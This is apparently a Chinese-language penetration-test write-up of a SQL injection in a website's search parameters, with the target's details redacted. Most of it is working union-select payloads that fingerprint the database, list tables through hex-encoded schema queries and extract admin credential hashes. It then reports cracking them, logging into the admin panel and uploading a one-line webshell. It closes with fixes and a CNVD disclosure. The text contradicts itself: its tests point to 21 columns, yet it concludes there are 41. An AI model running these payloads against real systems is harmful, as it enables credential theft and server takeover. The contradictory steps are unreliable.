0x01 漏洞发现
在对某网站进行安全测试时,发现以下URL存在异常:
https://******.com/search.php?keyword=1&zt=1954&dw=1885&zz=&
当参数keyword
和zt
被赋值为-1
时页面返回特殊内容,初步判断存在SQL注入漏洞。
0x02 注入验证与字段探测
1. 字段数量判断
通过order by
语句测试字段数:
https://******.com/search1.php?keyword=-1&zt=-1 order by 21--+ # 正常返回
https://******.com/search1.php?keyword=-1&zt=-1 order by 22--+ # 报错
确认当前查询字段数为41个。
2. 联合查询定位回显点
https://******.com/search1.php?keyword=-1&zt=-1 union select 1,2,3,...,21--+
页面显示数字3,确定第三个字段为回显位。
0x03 信息收集
1. 基础信息获取
# 获取数据库用户
union select 1,2,user(),4,...,21--+ --> root@localhost# 获取当前数据库
union select 1,2,database(),4,...,21--+ --> j**j# 获取数据库版本
union select 1,2,version(),4,...,21--+ --> 8.0.34
2. 表名爆破(十六进制绕过)
union select 1,2,group_concat(table_name),4,...,21
from information_schema.tables
where table_schema=0x6****b6a--+ # j**j的十六进制编码
返回关键表名:****_admin
0x04 敏感数据提取
1. 列名获取
union select 1,2,group_concat(column_name),4,...,21
from information_schema.columns
where table_name=0x776b63****46d696e--+ # ****_admin的十六进制
2. 管理员凭证提取
union select 1,2,group_concat(*****_name,0x3a,*****_pwd),4,...,21
from ****_admin--+
返回加密凭证:usernmae:password
0x05 后台登录与后续渗透
-
通过解密获得明文密码 *****
-
成功登录后台:
https://*****.com/admin/login.php
-
通过某处上传功能上传一句话木马获取服务器权限
0x06 漏洞修复建议
-
输入过滤:对参数进行类型强制转换(如intval())
-
预编译语句:使用PDO或mysqli预处理
-
权限控制:避免使用root账号连接数据库
-
WAF部署:拦截恶意SQL语句
-
加密存储:密码使用salt+哈希算法存储
0x07 漏洞提交与评分
本次发现的SQL注入漏洞已提交至CNVD(国家信息安全漏洞共享平台),经过审核,漏洞评分为 7.8(高危)。
评分依据:
-
漏洞类型:SQL注入
-
影响范围:数据库敏感信息泄露
-
危害程度:可获取管理员权限,进一步控制服务器
-
修复难度:中等
郑重声明:本次渗透测试已获得合法授权,所有敏感信息均已脱敏处理。请勿将本文技术用于非法用途!
(注:文中所提到的漏洞已修复)